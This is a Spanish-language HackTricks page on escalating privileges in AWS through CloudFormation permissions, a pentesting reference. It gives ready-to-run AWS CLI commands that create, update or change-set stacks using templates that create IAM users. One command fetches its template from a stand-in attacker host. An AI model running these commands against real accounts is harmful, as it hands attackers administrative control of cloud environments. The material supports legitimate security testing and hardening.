AWS - Cloudformation Privesc

Apoya a HackTricks

cloudformation

Para obtener más información sobre cloudformation, consulta:

AWS - CloudFormation & Codestar Enum

iam:PassRole, cloudformation:CreateStack

Un atacante con estos permisos puede escalar privilegios creando una pila de CloudFormation con una plantilla personalizada, alojada en su servidor, para ejecutar acciones bajo los permisos de un rol especificado:

aws cloudformation create-stack --stack-name <stack-name> \
--template-url http://attacker.com/attackers.template \
--role-arn <arn-role>

En la siguiente página tienes un ejemplo de explotación con el permiso adicional cloudformation:DescribeStacks:

iam:PassRole, cloudformation:CreateStack,and cloudformation:DescribeStacks

Impacto Potencial: Escalada de privilegios al rol de servicio de cloudformation especificado.

iam:PassRole, (cloudformation:UpdateStack | cloudformation:SetStackPolicy)

En este caso puedes abusar de una pila de cloudformation existente para actualizarla y escalar privilegios como en el escenario anterior:

aws cloudformation update-stack \
--stack-name privesc \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::91029364722:role/CloudFormationAdmin2 \
--capabilities CAPABILITY_IAM \
--region eu-west-1

La permisión cloudformation:SetStackPolicy se puede utilizar para otorgarte permiso de UpdateStack sobre una pila y llevar a cabo el ataque.

Impacto potencial: Escalada de privilegios al rol de servicio de cloudformation especificado.

cloudformation:UpdateStack | cloudformation:SetStackPolicy

Si tienes esta permisión pero no tienes iam:PassRole, aún puedes actualizar las pilas utilizadas y abusar de los Roles IAM que ya tienen adjuntos. Consulta la sección anterior para ver un ejemplo de explotación (simplemente no indiques ningún rol en la actualización).

La permisión cloudformation:SetStackPolicy se puede utilizar para otorgarte permiso de UpdateStack sobre una pila y llevar a cabo el ataque.

Impacto potencial: Escalada de privilegios al rol de servicio de cloudformation ya adjunto.

iam:PassRole,((cloudformation:CreateChangeSet, cloudformation:ExecuteChangeSet) | cloudformation:SetStackPolicy)

Un atacante con permisos para pasar un rol y crear y ejecutar un ChangeSet puede crear/actualizar una nueva pila de cloudformation y abusar de los roles de servicio de cloudformation de la misma manera que con CreateStack o UpdateStack.

La siguiente explotación es una variación de la anterior de CreateStack utilizando los permisos de ChangeSet para crear una pila.

aws cloudformation create-change-set \
--stack-name privesc \
--change-set-name privesc \
--change-set-type CREATE \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::947247140022:role/CloudFormationAdmin \
--capabilities CAPABILITY_IAM \
--region eu-west-1

echo "Waiting 2 mins to change the stack"
sleep 120

aws cloudformation execute-change-set \
--change-set-name privesc \
--stack-name privesc \
--region eu-west-1

echo "Waiting 2 mins to execute the stack"
sleep 120

aws cloudformation describe-stacks \
--stack-name privesc \
--region eu-west-1

El permiso cloudformation:SetStackPolicy se puede utilizar para otorgarte permisos de ChangeSet sobre una pila y llevar a cabo el ataque.

Impacto potencial: Escalada de privilegios a roles de servicio de cloudformation.

(cloudformation:CreateChangeSet, cloudformation:ExecuteChangeSet) | cloudformation:SetStackPolicy)

Este método es similar al anterior sin pasar roles de IAM, por lo que simplemente puedes abusar de los que ya están adjuntos, solo modifica el parámetro:

--change-set-type UPDATE

Impacto Potencial: Escalada de privilegios al rol de servicio de cloudformation ya adjunto.

iam:PassRole,(cloudformation:CreateStackSet | cloudformation:UpdateStackSet)

Un atacante podría abusar de estos permisos para crear/actualizar StackSets y abusar de roles de cloudformation arbitrarios.

Impacto Potencial: Escalada de privilegios a roles de servicio de cloudformation.

cloudformation:UpdateStackSet

Un atacante podría abusar de este permiso sin el permiso de passRole para actualizar StackSets y abusar de los roles de cloudformation adjuntos.

Impacto Potencial: Escalada de privilegios a los roles de cloudformation adjuntos.

Referencias

Last updated